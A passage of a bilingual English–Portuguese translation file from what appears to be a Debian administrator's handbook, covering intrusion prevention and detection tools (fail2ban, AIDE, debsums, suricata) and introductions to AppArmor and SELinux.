pt-BR: O <command>mrtg</command> (do pacote com mesmo nome) é uma antiga ferramenta. Apesar de ser meio difícil de trabalhar, ela pode agregar dados históricos e exibi-los na forma de gráficos. Ela inclui uma série de scripts dedicados à coleta de dados mais comumente monitorados, tais como a carga do processador, o tráfego de rede, acessos a páginas web, e assim por diante.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
pt-BR: Os pacotes <emphasis role="pkg">mrtg-contrib</emphasis> e <emphasis role="pkg">mrtgutils</emphasis> contém scripts de exemplo que podem ser utilizados diretamente.

en: Avoiding Intrusion
pt-BR: Evitando intrusões

en: <primary>intrusion detection</primary>
pt-BR: <primary>detecção de intruso</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
pt-BR: <filename>fail2ban.conf</filename>. Configuração global (log, por exemplo).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
pt-BR: <filename>filter.d/*.conf</filename>. Filtros que especificam como detectar falhas de autenticação. O pacote Debian já contém filtros para muitos programas comuns.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
pt-BR: <filename>jail.conf</filename>. Local onde os <emphasis>jails</emphasis>, as combinações de filtros e ações são definidas.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
pt-BR: Vamos dar uma olhada na configuração do <command>sshd</command> em <filename>/etc/fail2ban/jail.conf</filename> para melhor entendimento de como Fail2Ban funciona...

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
pt-BR: Fail2Ban é uma maneira muito simples e eficaz de proteger contra a maioria dos ataques de força bruta mais comuns, mas não pode proteger contra ataques de força bruta distribuídos, que ocorre quando um invasor usa um grande número de máquinas espalhadas pela Internet.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
pt-BR: Uma boa maneira de fornecer proteção extra contra ataques de força bruta distribuídos é aumentar artificialmente o tempo de login após cada tentativa de falha.

en: Detecting Changes
pt-BR: Detectando Modificações

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
pt-BR: Uma vez que o sistema esteja instalado e configurado, e impedindo atualizações de segurança, geralmente não há razão para a maioria dos arquivos e diretórios evoluírem, exceto os dados. É interessante, portanto, certificar-se de que os arquivos realmente não alteram: qualquer mudança seria assim inesperada, valendo a pena investigar. Esta seção apresenta algumas ferramentas capazes de monitorar os arquivos e para avisar o(a) administrador(a) quando ocorrer uma mudança inesperada (ou simplesmente para listar tais mudanças).

en: Auditing Packages with <command>dpkg --verify</command>
pt-BR: Auditando Pacotes com o <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
pt-BR: <emphasis>INDO ALÉM</emphasis> Protegendo-se contra mudanças do desenvolvedor

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
pt-BR: O <command>dpkg --verify</command> (ou <command>dpkg -V</command>) é uma ferramenta interessante já que permite encontrar quais arquivos instalados foram modificados (potencialmente por um invasor), mas isso é apenas um pequeno passo. Para fazer seu trabalho ele confia nos checksums armazenados no próprio banco de dados do dpkg, que é armazenado no disco rígido (eles podem ser encontrados em <filename>/var/lib/dpkg/info/<replaceable>pacote</replaceable>.md5sums</filename>); Um atacante que faz o serviço bem feito irá atualizar esses arquivos para que eles contenham os novos checksums dos arquivos subvertidos.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
pt-BR: <emphasis>DE VOLTA AO BÁSICO</emphasis> Impressão digital de arquivo

en: <primary>fingerprint</primary>
pt-BR: <primary>impressão digital</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
pt-BR: Ao rodar <command>dpkg -V</command> todos os pacotes instalados serão verificados e será impressa uma linha para cada arquivo que falhar em algum teste. O formato de saída é o mesmo que o do <command>rpm -V</command> onde cada caractere denota um teste em algum metadado específico. Infelizmente o <command>dpkg</command> não armazena o metadado necessário para a maioria dos testes e irá, assim, exibir uma interrogação para estes. Atualmente apenas o teste de checksum pode render um "5" no terceiro caractere (quando ele falha).

en: Auditing Packages: <command>debsums</command> and its Limits
pt-BR: Auditando Pacotes: <command>debsums</command> e seus limites

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
pt-BR: Já que dados no disco não são confiáveis, o <command>debsums</command> oferece fazer sua checagem com base nos arquivos <filename>.deb</filename> ao invés de confiar no banco de dados do dpkg. Para baixar arquivos <filename>.deb</filename> confiáveis de todos os pacotes instalados, nós podemos confiar nos downloads autenticados pelo APT. Essa operação pode ser lenta e tediosa, e deve assim, não ser considerada uma técnica proativa a ser usada no cotidiano.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
pt-BR: Note que este exemplo usa o comando <command>grep-status</command> do pacote <emphasis role="pkg">dctrl-tools</emphasis>, que não é instalado por padrão.

en: Monitoring Files: AIDE
pt-BR: Monitorando Arquivos: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
pt-BR: A ferramenta AIDE (<emphasis>Advanced Intrusion Detection Environment - Ambiente Avançado de Detecção de Intrusão</emphasis>) permite verificar a integridade de arquivos, e detectar qualquer mudança em relação a uma imagem gravada anteriormente do sistema válido. Esta imagem é armazenada como um banco de dados (<filename> /var/lib/aide/aide.db</filename>) que contém as informações relevantes de todos os arquivos do sistema (impressões digitais, permissões, timestamps e assim por diante). Este banco de dados é inicializado com <command>aideinit</command>, que é então usado diariamente (pelo script <filename>/etc/cron.daily/</filename> ) para verificar que nada de relevante mudou. Quando alterações são detectadas, AIDE grava em arquivos de log (<filename>/var/log/aide/*.log</filename>) e envia os seus resultados ao administrador por e-mail.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
pt-BR: <emphasis>NA PRÁTICA</emphasis> Protegendo o banco de dados

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
pt-BR: Como AIDE usa um banco de dados local para comparar os estados dos arquivos, a validade de seus resultados está diretamente ligada à validade do banco de dados. Se um atacante obtém permissões de root em um sistema comprometido, ele será capaz de substituir o banco de dados e cobrir seus rastros. Uma possível solução seria armazenar os dados de referência em mídia de armazenamento que seja somente leitura.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
pt-BR: Muitas opções em <filename>/etc/default/aide</filename> podem ser usadas para ajustar o comportamento do pacote <emphasis role="pkg">aide</emphasis>. A configuração AIDE adequada é armazenada em <filename>/etc/aide/aide.conf</filename> e <filename>/etc/aide/aide.conf.d/</filename> (na verdade, esses arquivos são usados apenas pelo <command>update-aide.conf</command> para gerar <filename>/var/lib/aide/aide.conf.autogenerated</filename>). A configuração indica quais propriedades de quais arquivos precisam ser verificadas. Por exemplo, o conteúdo de arquivos log muda rotineiramente, e estas modificações podem ser ignoradas, desde que as permissões destes arquivos permaneçam as mesmas, mas tanto o conteúdo quanto as permissões de programas executáveis devem ser constantes. Embora não seja muito complexa, a sintaxe de configuração não é totalmente intuitiva, e a leitura da página de manual <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> é recomendada.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
pt-BR: Uma nova versão do banco de dados é gerada diariamente em <filename>/var/lib/aide/aide.db.new</filename>; se todas as alterações registradas eram legítimas, ele pode ser usado para substituir o banco de dados de referência.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
pt-BR: <emphasis>ALTERNATIVO</emphasis> Tripwire and Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
pt-BR: Tripwire é muito semelhante ao AIDE; até a sintaxe do arquivo de configuração é quase a mesma. A principal melhoria do <emphasis role="pkg">tripwire</emphasis> é um mecanismo para assinar o arquivo de configuração, de modo que um atacante não pode fazer ele apontar para uma versão diferente do banco de dados de referência.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
pt-BR: Samhain também oferece características semelhantes, bem como algumas funções para ajudar a detectar rootkits (veja a barra lateral <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). Também pode ser publicado globalmente em uma rede, e gravar os seus "traces" em um servidor central (com uma assinatura).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
pt-BR: <emphasis>OLHADA RÁPIDA</emphasis> os pacotes <emphasis role="pkg">checksecurity</emphasis> e <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
pt-BR: O primeiro destes pacotes contém vários pequenos scripts que executam verificações básicas sobre o sistema (senhas vazias, arquivos setuid novos, e assim por diante) e alerta o administrador, se necessário. Apesar de seu nome explícito, um administrador não deve confiar somente nele para certificar-se que um sistema Linux está seguro.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
pt-BR: Os pacotes <emphasis role="pkg">chkrootkit</emphasis> e <emphasis role="pkg">rkhunter</emphasis> permitem buscar por potenciais <emphasis>rootkits</emphasis> instalados no sistema. Como um lembrete, existem peças de software desenvolvidas para esconder o comprometimento de um sistema enquanto, discretamente, mantém o controle da máquina. Os testes não são 100% confiáveis, mas eles geralmente chamam a atenção do administrador para potenciais problemas.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
pt-BR: <emphasis role="pkg">rkhunter</emphasis> também realiza verificações para ver se os comandos foram modificados, se os arquivos de inicialização do sistema foram modificados, e várias verificações sobre as interfaces de rede, incluindo controles de aplicativos em escuta.

en: Detecting Intrusion (IDS/NIDS)
pt-BR: Detectando Intrusões (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
pt-BR: <emphasis>DE VOLTA AO BÁSICO</emphasis> Negação de serviço

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
pt-BR: Um ataque "negação de serviço" tem apenas um objetivo: tornar um serviço indisponível. Se tal ataque envolve a sobrecarrega do servidor com consultas ou explorar uma falha, o resultado final é o mesmo: o serviço não é mais operacional. Os usuários regulares estão infelizes, e a entidade que hospeda o serviço de rede alvo sofre uma perda de reputação (e, eventualmente, em receita, por exemplo, se o serviço era um site de comércio eletrônico).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
pt-BR: Tal ataque é por vezes "distribuído", o que geralmente envolve sobrecarregar o servidor com um grande número de consultas provenientes de muitas fontes diferentes para que o servidor se torne incapaz de responder às perguntas legítimas. Estes tipos de ataques ganharam siglas bem conhecidas: <acronym>DDoS</acronym> e <acronym>DoS</acronym> (dependendo se o ataque de negação de serviço é distribuído ou não).

en: <emphasis>CAUTION</emphasis> Range of action
pt-BR: <emphasis>ATENÇÃO</emphasis> Raio de ação

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
pt-BR: A eficácia do <command>suricata</command> é limitada pelo tráfego visto na interface de rede monitorada. Obviamente, não será capaz de detectar qualquer coisa se não pode observar o tráfego real. Quando conectado a um switch de rede, ele irá, portanto, apenas monitorar ataques contra a máquina em que ele roda, o que provavelmente não é a intenção. A máquina que hospeda o <command>suricata</command> deve estar ligada a porta "espelho" do switch, que normalmente é dedicada aos interruptores (switches) encadeados e, portanto, recebe todo o tráfego.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
pt-BR: Para detectar mau comportamento, <command>suricata</command> precisa de um conjunto de regras de monitoramento: você pode encontrar essas regras no pacote <emphasis role="pkg">snort-rules-default</emphasis>. O <command>snort</command> é a referência histórica no ecossistema IDS e <command>suricata</command> é capaz de reutilizar regras escritas para ele.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
pt-BR: <emphasis>INDO ALÉM</emphasis> Integração com o <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
pt-BR: Prelude traz monitoramento centralizado de informações de segurança. Sua arquitetura modular inclui um servidor (o gerente <emphasis>manager</emphasis> em <emphasis role="pkg">prelude-manager</emphasis>) que reúne os alertas gerados por <emphasis>sensores</emphasis> de vários tipos.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
pt-BR: O Suricata pode ser configurado como um destes sensores. Outras possibilidades incluem <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>), que monitora os arquivos de log (de forma semelhante ao <command>logcheck</command>, descrito em <xref linkend = "sect.logcheck" />).

en: Introduction to AppArmor
pt-BR: Introdução ao AppArmor

en: Principles
pt-BR: Princípios

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
pt-BR: AppArmor é um sistema de <emphasis>Controle de Acesso Mandatório</emphasis> (MAC - Mandatory Access Control) construído sobre a interface LSM (<emphasis>Linux Security Modules</emphasis>) do Linux. Na prática, o kernel consulta o AppArmor antes de cada chamada do sistema para saber se o processo está autorizado a fazer a operação dada. Através desse mecanismo, o AppArmor confina programas a um conjunto limitado de recursos.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
pt-BR: O AppArmor aplica um conjunto de regras (conhecidas como “perfil”) em cada programa. O perfil aplicado pelo kernel depende do caminho de instalação do programa sendo executado. Ao contrário do SELinux (discutido em <xref linkend="sect.selinux" />), as regras aplicadas não dependem do(a) usuário(a). Todos(as) os(as) usuários(as) encontram o mesmo conjunto de regras quando executam o mesmo programa (mas permissões tradicionais de usuário(a) ainda se aplicam e podem resultar em comportamentos diferentes!).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
pt-BR: Os perfis AppArmor são armazenados em <filename>/etc/apparmor.d/</filename> e eles contém uma lista de regras de controle de acesso em recursos que cada programa pode fazer uso. Os perfis são compilados e carregados no núcleo pelo comando <command>apparmor_parser</command>. Cada perfil pode ser carregado tanto em modo de aplicação ("enforcing") quanto em modo de registro ("complaining"). O primeiro aplica a política e reporta as tentativas de violação, enquanto que o último não aplica a política mas mantém os registros de chamadas de sistema que deveriam ter sido negadas.

en: Enabling AppArmor and managing AppArmor profiles
pt-BR: Habilitando o AppArmor e gerenciando os perfis AppArmor

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
pt-BR: O suporte do AppArmor está embutido nos kernels padrão fornecidos pelo Debian. Habilitar o AppArmor é, portanto, apenas uma questão de instalar alguns pacotes executando <command>apt install apparmor apparmor-profiles apparmor-utils</command> com privilégios de root.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
pt-BR: O AppArmor está agora funcional após a instalação e o comando <command>aa-status</command> confirmará isso rapidamente:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
pt-BR: <emphasis>NOTA</emphasis> Mais perfis AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
pt-BR: O pacote <emphasis role="pkg">apparmor-profiles</emphasis> contém perfis gerenciados pela comunidade upstream do AppArmor. Para obter ainda mais perfis você pode instalar o <emphasis role="pkg">apparmor-profiles-extra</emphasis> que contém perfis desenvolvidos pelo Ubuntu e Debian.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
pt-BR: O estado de cada perfil pode ser alterado entre aplicação (enforcing) e registro (complaining) com chamadas para <command>aa-enforce</command> e <command>aa-complain</command>, passando como parâmetro tanto o caminho para o executável como o caminho para o arquivo de políticas. Além disso, um perfil pode ser inteiramente desabilitado com <command>aa-disable</command> ou posto em modo auditar (audit) (para também aceitar chamadas de sistema) com <command>aa-audit</command>.

en: Creating a new profile
pt-BR: Criando um novo perfil

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
pt-BR: Mesmo sendo bem fácil criar um perfil AppArmor, a maioria dos programas não tem um. Essa seção irá mostrar a você como criar um novo perfil a partir do zero apenas usando o programa alvo e deixando o AppArmor monitorar a chamada de sistema que ele faz e os recursos que ele acessa.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
pt-BR: Os programas mais importantes que precisam ser confinados são os programas voltados para a rede, pois são mais atrativos à ataques remotos. É por isso que o AppArmor convenientemente fornece o comando <command>aa-unconfined</command> para listar os programas que não tem perfil associado e que expõem um soquete de rede aberto. Com a opção <literal>--paranoid</literal> você tem todos os processos não confinados que tem ao menos uma conexão de rede ativa.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
pt-BR: O primeiro evento detectado é a execução de outro programa. Neste caso, você tem múltiplas escolhas: você pode rodar o programa com o perfil do processo pai (a escolha “Inherit”), você pode rodá-lo com seu próprio e dedicado perfil (as escolhas “Profile” e “Named”, diferindo apenas pela possibilidade de usar um nome de perfil arbitrário), você pode rodá-lo com um sub-perfil do processo pai (a escolha “Child”), você pode rodá-lo sem qualquer perfil (a escolha “Unconfined”) ou você pode decidir não rodá-lo de forma alguma (a escolha “Deny”).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
pt-BR: Note que quando você opta por rodá-lo sob um perfil dedicado que não existe ainda, a ferramenta irá criar o perfil em falta para você e irá fazer sugestões de regras para esse perfil nesta mesma execução.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
pt-BR: A nível do kernel, os poderes especiais do usuário root foram divididos em "recursos" ("capabilities"). Quando uma chamada de sistema requer um recurso específico, o AppArmor irá verificar se o perfil permite ao programa fazer uso desse recurso.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
pt-BR: Aqui o programa busca por permissões de leitura para <filename>/etc/ssl/openssl.cnf</filename>. O <command>aa-genprof</command> detectou que essa permissão foi também obtida por múltiplas "abstrações” e as oferece como escolhas alternativas. Uma abstração fornece um conjunto de regras de acesso reutilizável, reunindo múltiplos recursos que são comumente usados juntos. Nesse caso específico, o arquivo é geralmente acessado através das funções relacionadas ao serviço de nomes da biblioteca C e nós digitamos “2” para primeiro selecionarmos a opção “#include &lt;abstractions/openssl&gt;” e então “A” para dar a permissão.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
pt-BR: Note que essa requisição de acesso não é parte do perfil do dhclient, mas do novo perfil que nós criamos quando permitimos <filename>/usr/sbin/dhclient-script</filename> executar com seu próprio perfil.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
pt-BR: Após termos passado por todos os eventos registrados, o programa se oferece para salvar todos os perfis que foram criados durante sua execução. Neste caso, nós temos dois perfis que nós salvamos ao mesmo tempo com "Salvar" (“Save”) (mas você pode salvá-los individualmente também) antes de sair do programa com "Terminar" (“Finish”).

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
pt-BR: O <command>aa-genprof</command> é na realidade apenas um envoltório inteligente em volta do <command>aa-logprof</command>: ele cria um perfil vazio, carrega-o em modo de registro ("complain mode") e então roda o <command>aa-logprof</command> que é uma ferramenta para atualizar um perfil com base nas violações de perfil que foram registradas. Então você pode rodar novamente essa ferramenta mais tarde para aprimorar o perfil que você acabou de criar.

en: Introduction to SELinux
pt-BR: Introdução ao SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
pt-BR: SELinux (<emphasis>Security Enhanced Linux</emphasis>) é um sistema de <emphasis>controle de acesso obrigatório</emphasis> construído sobre a interface LSM (<emphasis>Linux Security Modules</emphasis>) do Linux. Na prática, o kernel consulta o SELinux antes de cada chamada do sistema para saber se o processo está autorizado a fazer a operação dada.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
pt-BR: SELinux utiliza um conjunto de regras - conhecidas coletivamente como uma <emphasis>política</emphasis> - para autorizar ou proibir as operações. Essas regras são difíceis de criar. Felizmente, duas diretivas padrão (<emphasis>targeted</emphasis> e <emphasis>strict</emphasis>) são fornecidas para evitar a maior parte do trabalho de configuração.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
pt-BR: Com o SELinux, a gestão dos direitos é completamente diferente do sistema Unix tradicional. Os direitos de um processo depende de seu <emphasis>contexto de segurança</emphasis>. O contexto é definido pela <emphasis>identidade</emphasis> do usuário que iniciou o processo, o <emphasis>papel</emphasis> e o <emphasis>domínio</emphasis> que o usuário realizada naquele momento. Os direitos realmente dependem do domínio, mas transições entre os domínios são controladas pelos papéis. Finalmente, as transições possíveis entre os papéis dependem da identidade.

en: Security contexts and Unix users
pt-BR: Contextos de segurança e usuários Unix

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
pt-BR: Na prática, durante o login, ao usuário é atribuído um contexto de segurança padrão (dependendo das funções que eles devem ser capazes de endossar). Isto define o domínio corrente e, assim, o domínio que todos os novos processos filho irão transportar. Se você quiser alterar o papel atual e seu domínio associado, você deve chamar <command>newrole-r <replaceable> role_r </replaceable>-t <replaceable>domain_t</replaceable></command> (normalmente há apenas um único domínio permitido para uma determinada função, o parâmetro <literal>-t</literal> pode, assim, muitas vezes, ser deixado de fora). Este comando autentica você pedindo que você digite sua senha. Este recurso proíbe programas mudarem automaticamente os papéis. Tais mudanças só podem acontecer se forem expressamente permitidas pela política SELinux.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
pt-BR: Obviamente, os direitos não se aplicam a todos os <emphasis>objetos</emphasis> (arquivos, diretórios, soquetes, dispositivos, etc.). Eles podem variar de objeto para objeto. Para conseguir isso, cada objeto é associado a um <emphasis>tipo</emphasis> (isto é conhecido como etiquetagem). Direitos de domínio são, portanto, expressos com conjuntos de operações (não) permitidos sobre os tipos (e, indiretamente, em todos os objetos que são etiquetados com o tipo de dado).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
pt-BR: <emphasis>EXTRA</emphasis> Domínios e Tipos são equivalentes

en: Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types.
pt-BR: Internamente um domínio é apenas um tipo, mas um tipo que só se aplica a processos. É por isso que os domínios tem sufixo <literal>_t</literal> igual aos tipos de objeto.

